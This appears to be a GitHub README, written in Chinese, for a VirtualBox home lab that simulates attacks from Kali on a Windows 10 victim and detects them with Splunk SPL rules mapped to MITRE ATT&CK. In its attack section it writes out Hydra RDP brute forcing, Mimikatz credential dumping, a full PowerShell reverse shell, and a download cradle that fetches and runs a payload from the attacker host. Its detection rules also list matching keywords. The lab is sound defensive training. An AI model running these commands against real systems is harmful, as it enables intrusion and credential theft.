walidsuleiman/attack-detection-lab
GitHub: walidsuleiman/attack-detection-lab
一个基于VirtualBox的三虚拟机SIEM实验室,通过模拟真实攻击并编写Splunk SPL关联规则与MITRE ATT&CK映射来验证安全检测能力。
Stars: 0 | Forks: 0
# 攻击检测实验室
一个基于 3 个虚拟机的 SIEM 家庭实验室,用于在 VirtualBox 上使用 Splunk Enterprise、Kali Linux 和 Windows 10 检测现实世界的攻击。
## 实验室架构
```
┌─────────────────────────────────────────────────────────┐
│ VirtualBox Host │
│ │
│ ┌──────────────┐ ┌──────────────┐ ┌─────────────┐ │
│ │ Kali Linux │ │ Windows 10 │ │ Splunk │ │
│ │ (Attacker) │ │ (Victim) │ │ Server │ │
│ │ │──▶│ │──▶│ (Ubuntu) │ │
│ │192.168.56.102│ │ DESKTOP- │ │192.168.56.x │ │
│ │ │ │ ABVS6BR │ │ │ │
│ └──────────────┘ └──────┬───────┘ └─────────────┘ │
│ │ Splunk UF │
│ │ port 9997 │
│ Host-Only Network: 192.168.56.0/24 │
│ NAT Network: internet access per VM │
└─────────────────────────────────────────────────────────┘
```
**虚拟机配置:**
| 虚拟机 | 操作系统 | 内存 | 角色 |
|---|---|---|---|
| Splunk Server | Ubuntu 25.04 | 6 GB | SIEM / 日志聚合 |
| Windows 10 (`DESKTOP-ABVS6BR`) | Windows 10 22H2 | 4 GB | 受害者 / 日志源 |
| Kali Linux (`192.168.56.102`) | Kali 2026.1 | 4 GB | 攻击者 |
**网络:** 每台虚拟机都有两个适配器 —— NAT(互联网)和 Host-only(192.168.56.0/24,隔离实验室流量)。
**日志管道:** Windows 10 受害者运行 Splunk Universal Forwarder,将其 **Security** 事件日志发送到端口 9997 上的 Splunk 服务器,最终落入 `index=main`,sourcetype 为 `WinEventLog:Security`。
## 攻击模拟
所有攻击均从 Kali Linux 虚拟机 (`192.168.56.102`) 发起,目标为 Windows 10 虚拟机 (`DESKTOP-ABVS6BR`)。
### 1. 网络侦察 — Nmap (T1046)
```
nmap -sS -A -p- 192.168.56.
```
对所有 65535 个端口执行带有 OS/服务检测的 SYN 扫描。生成可在 Windows 防火墙日志中看到的入站连接尝试。
### 2. RDP 暴力破解 — Hydra (T1110)
```
gunzip /usr/share/wordlists/rockyou.txt.gz
hydra -l Administrator -P /usr/share/wordlists/rockyou.txt \
rdp://192.168.56. -t 4
```
尝试对端口 3389 上的 RDP 服务进行密码喷射。每次失败的尝试都会在 Windows 安全日志中生成 **EventID 4625**。
### 3. 凭据转储 — Mimikatz (T1003)
在 **Windows 虚拟机**上运行(模拟获得初始立足点后的后渗透阶段):
```
# 在 PowerShell 中以 Administrator 身份运行
.\mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
```
转储 LSASS 内存以提取明文凭据和 NTLM 哈希。需要启用进程创建审核以生成 **EventID 4688**。
**启用进程审核(在 Windows 虚拟机上运行一次):**
```
auditpol /set /subcategory:"Process Creation" /success:enable /failure:enable
```
### 4. 反向 Shell — PowerShell (T1059.001)
**Kali — 开启监听器:**
```
nc -lvnp 4444
```
**Windows 虚拟机 — 发起连接:**
```
$client = New-Object System.Net.Sockets.TCPClient("192.168.56.102", 4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object System.Text.ASCIIEncoding).GetString($bytes, 0, $i)
$sendback = (iex $data 2>&1 | Out-String)
$sendback2 = $sendback + "PS " + (pwd).Path + "> "
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte, 0, $sendbyte.Length)
$stream.Flush()
}
```
还使用了下载载体变体从 Kali 主机拉取 payload:
```
IEX(New-Object Net.WebClient).DownloadString('http://192.168.56.102:8000/shell.ps1')
```
两者都建立了受攻击者控制的执行环境,并生成带有可疑 `powershell.exe` 命令行的 **EventID 4688**。
## Splunk 检测规则 (SPL)
Index: `main` · Sourcetype: `WinEventLog:Security`。
### 规则 1 — RDP 暴力破解检测 (T1110)
当单个源 IP 产生超过 10 次失败登录时触发。
```
index=main EventCode=4625
| stats count by Source_Network_Address, Account_Name
| where count > 10
| sort -count
```
**告警配置:** 实时 · 当 `count > 10` 时触发 · 严重程度:高
### 规则 2 — 暴力破解后的成功登录 (T1110.001)
检测来自一个 IP 的成功登录,且该 IP 同时存在失败尝试 —— 典型的暴力破解成功模式。
```
index=main (EventCode=4625 OR EventCode=4624)
| stats count(eval(EventCode=4625)) as failures,
count(eval(EventCode=4624)) as successes
by Source_Network_Address, Account_Name
| where failures > 5 AND successes > 0
| table Source_Network_Address, Account_Name, failures, successes
```
**告警配置:** 计划任务(每 5 分钟) · 严重程度:严重
### 规则 3 — Mimikatz / 凭据转储 (T1003)
检测 Mimikatz 二进制文件的进程创建事件。交互式命令(`sekurlsa::logonpasswords` 等)是在 Mimikatz *内部*输入的,**不**会出现在进程命令行中,因此该规则以进程名称/路径为关键匹配项。
```
index=main EventCode=4688
(New_Process_Name="*mimikatz*" OR Process_Command_Line="*mimikatz*"
OR Process_Command_Line="*sekurlsa*" OR Process_Command_Line="*lsadump*")
| table _time, ComputerName, Account_Name, Creator_Process_Name, New_Process_Name, Process_Command_Line
```
**告警配置:** 实时 · 任何结果即触发 · 严重程度:严重
### 规则 4 — PowerShell 反向 Shell / 下载载体 (T1059.001)
检测 PowerShell 生成 TCP 客户端或拉取远程 payload 的行为 —— 常见的反向 Shell 指标。末尾的 `*\powershell.exe` 匹配规则排除了来自 Universal Forwarder 的无害 `splunk-powershell.exe`。
```
index=main EventCode=4688 New_Process_Name="*\\powershell.exe"
(Process_Command_Line="*DownloadString*" OR Process_Command_Line="*Net.WebClient*"
OR Process_Command_Line="*IEX*" OR Process_Command_Line="*TCPClient*"
OR Process_Command_Line="*Net.Sockets*")
| table _time, ComputerName, Account_Name, Creator_Process_Name, Process_Command_Line
```
**告警配置:** 实时 · 任何结果即触发 · 严重程度:严重
### 字段映射(原始 WinEventLog 与 标准化)
| 概念 | 本实验室 (原始 `WinEventLog:Security`) | CIM / Sysmon 等效项 |
|----------------------|---------------------------------------|-------------------------|
| 源 IP | `Source_Network_Address` | `src_ip` / `src` |
| 目标账户 | `Account_Name` | `TargetUserName` / `user` |
| 进程命令行 | `Process_Command_Line` | `CommandLine` |
| 新进程 | `New_Process_Name` | `Image` / `process` |
| 父进程 | `Creator_Process_Name` | `ParentProcessName` / `parent_process` |
| 主机 | `ComputerName` / `host` | `host` / `dvc` |
## 检测结果与证据
所有检测均针对实验室数据实时运行。截图来自**攻击检测实验室 – Windows 安全监控**仪表板(Splunk 源 XML 位于 [`dashboards/attack_detection_lab.xml`](dashboards/attack_detection_lab.xml))。

### 捕获的事件量
| 事件代码 | 含义 | 计数(实验室窗口期) |
|-----------:|-------------------------------------------|-------------------:|
| 4688 | 创建了新进程 | 2,117 |
| 4624 | 账户成功登录 | 451 |
| 4672 | 为新登录分配特殊权限 | 428 |
| 4625 | 账户登录失败 | 34 |
| 4648 | 尝试使用显式凭据登录| 32 |

### 已验证:RDP 暴力破解 (T1110)
在紧密的爆发中出现了 34 次失败登录 (4625) 事件,全部来自 **`192.168.56.102`**(Kali 攻击者),针对 **`Victim`** 账户,失败原因为 *“用户名未知或密码错误。”* 时间序列显示,在原本平静的基线上出现了单次急剧激增。


### 已验证:凭据转储 — Mimikatz (T1003)
进程创建事件显示 `mimikatz.exe` 从 `C:\Users\Victim\Downloads\mimikatz_trunk\x64\mimikatz.exe` 执行,由 `explorer.exe` 在 `Victim` 账户下使用提升的令牌启动。

### 已验证:PowerShell 反向 Shell / 下载载体 (T1059.001)
多个带有命令行 `IEX(New-Object Net.WebClient).DownloadString('http://192.168.56.102:8000/shell.ps1')` 的 `powershell.exe` 进程创建事件 —— 这是一个从 Kali 主机拉取的远程 payload。

## MITRE ATT&CK 映射
| 攻击 | 工具 | MITRE ID | 战术 | Splunk EventCode | 已在安全日志中验证 |
|---|---|---|---|---|---|
| 网络扫描 | Nmap | T1046 | Discovery | 防火墙/IDS 日志 | n/a(网络日志) |
| RDP 暴力破解 | Hydra | T1110 | Credential Access | 4625 (失败), 4624 (成功) | ✅ |
| 凭据转储 | Mimikatz | T1003.001 | Credential Access | 4688 (进程创建) | ✅ |
| 反向 shell | PowerShell | T1059.001 | Execution | 4688 (进程创建) | ✅ |
## Splunk 仪表板
仪表板名称:**攻击检测实验室 – Windows 安全监控** (Classic / Simple XML)。
一个共享的时间范围选择器驱动所有面板。源 XML:
[`dashboards/attack_detection_lab.xml`](dashboards/attack_detection_lab.xml)。
| 面板 | 检测 |
|---|---|
| 按事件代码统计的安全事件量 | 所有安全事件概览 |
| RDP 暴力破解:随时间变化的失败登录 (4625) | T1110 |
| 失败与成功登录对比 (4625 vs 4624) | T1110 / T1110.001 |
| 暴力破解:源 IP 和目标账户 (4625) | T1110 |
| 凭据转储:Mimikatz 进程创建 (4688) | T1003 |
| PowerShell 反向 Shell / 下载载体 (4688) | T1059.001 |
## 故障排除:暴力破解测试期间的账户锁定
在运行 Hydra 暴力破解时,重复的失败登录触发了 Windows **账户锁定策略**:在达到配置的错误密码尝试次数后,目标账户被锁定,这阻止了进一步生成 `4625` 事件,并阻止了对该账户的合法登录。
**解决方案:**
1. 使用单独的 **管理员**账户登录(被暴力破解的账户已被锁定)。
2. 打开 **本地安全策略** (`secpol.msc`) →
**账户策略** → **账户锁定策略**。
3. 将 **账户锁定阈值** 设置为 `0`(禁用锁定),然后使用 `gpupdate /force` 应用。
4. 解锁 / 重新启用目标账户并重新运行暴力破解,随后生成了仪表板中可见的完整 `4625` 事件爆发。
**经验教训:** 账户锁定是一种防御控制措施,会干扰暴力破解*测试*,但这正是为什么暴力破解具有高噪性且易于检测的原因。在生产环境中,应保持启用阈值;在此禁用它仅是为了让实验室模拟能够端到端运行。
## 简历要点
## 使用的工具
- [Splunk Enterprise](https://www.splunk.com/) — SIEM 和日志分析
- [Kali Linux](https://www.kali.org/) — 攻击者 OS(Nmap、Hydra、Netcat)
- [Mimikatz](https://github.com/gentilkiwi/mimikatz) — 凭据转储模拟
- [VirtualBox](https://www.virtualbox.org/) — Hypervisor
- [MITRE ATT&CK](https://attack.mitre.org/) — 威胁情报框架
## 仓库结构
```
attack-detection-lab/
├── README.md
├── dashboards/
│ └── attack_detection_lab.xml # Splunk Simple XML dashboard source
└── docs/
└── images/
├── 00-dashboard-overview.png
├── 01-event-volume.png
├── 02-brute-force.png
├── 03-brute-force-source.png
├── 04-mimikatz.png
└── 05-powershell.png
```
标签:AI合规, 安全实验室